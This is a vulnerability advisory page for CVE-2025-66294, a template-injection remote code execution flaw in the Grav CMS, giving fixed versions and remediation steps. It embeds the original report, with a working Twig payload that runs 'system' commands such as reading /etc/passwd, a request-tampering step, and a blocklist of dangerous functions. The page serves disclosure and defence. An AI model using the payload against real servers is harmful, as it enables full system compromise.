CVE-2025-66294: Getgrav/grav Remote Code Execution Vulnerability
HIGHCVE-2025-66294 is a HIGH remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav is vulnerable to rce via ssti through twig sandbox bypass. Remediation is available by upgrading affected packages to version 1.8.0-beta.27.
CVE-2025-66294 at a Glance
How to Fix CVE-2025-66294
To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav to 1.8.0-beta.27
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-66294, inspect your project dependencies for Getgrav/grav:
inspect dependencies for getgrav/grav
Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.0-beta.27), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-66294 Affected Getgrav/grav Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 1.8.0-beta.27
|
1.8.0-beta.27
|
References
Frequently Asked Questions
What is CVE-2025-66294?
Which Getgrav/grav versions are affected?
What version fixes CVE-2025-66294?
Is getgrav/grav affected?
What CWE is associated with CVE-2025-66294?
How can I check Packagist dependencies for CVE-2025-66294?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-662m-56v4-3r8f",
"modified" : "2025-12-02T01:25:16Z",
"published" : "2025-12-02T01:25:16Z",
"aliases" : [ "CVE-2025-66294" ],
"summary" : "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass",
"details" : "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig->processString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n case 'message':\n $translated_string = $this->grav['language']->translate($params);\n $vars = array(\n 'form' => $form\n );\n\n /** @var Twig $twig */\n $twig = $this->grav['twig'];\n $processed_string = $twig->processString($translated_string, $vars);\n\n $form->message = $processed_string;\n break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here's where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n public static function cleanDangerousTwig(string $string): string\n {\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n \n // This allows for a payload like {{ evaluate(\"read_file('/etc/passwd')\") }}\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n return $string;\n }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n<?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig('$x')\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')\n```\n\nNow we know that our payload definitely works so let's try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to [it's report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn't normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n\n\n\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n markdown: true\n twig: true\nform:\n name: test\n fields:\n name:\n type: text\n label: Name\n required: true\n buttons:\n submit:\n type: submit\n value: submit\n process:\n -\n message: '{{ evaluate_twig(form.value(''name'')) }}'\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it's position:\n\n```php\n<?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === '') {\n return $string;\n }\n\n $bad_twig = [\n 'twig_array_map',\n 'twig_array_filter',\n 'call_user_func',\n 'registerUndefinedFunctionCallback',\n 'undefined_functions',\n 'twig.getFunction',\n 'core.setEscaper',\n 'twig.safe_functions',\n 'read_file',\n ];\n $string = preg_replace('/(({{\\s*|{%\\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\\s*}}|\\s*%}))/i', '{# $1 #}', $string);\n\n foreach ($bad_twig as $func) {\n $string = preg_replace('/\\b' . preg_quote($func, '/') . '(\\s*\\([^)]*\\))?\\b/i', '{# $1 #}', $string);\n }\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig('$x')\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.8.0-beta.27"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-02T01:25:16Z",
"nvd_published_at" : "2025-12-01T21:15:52Z"
}
}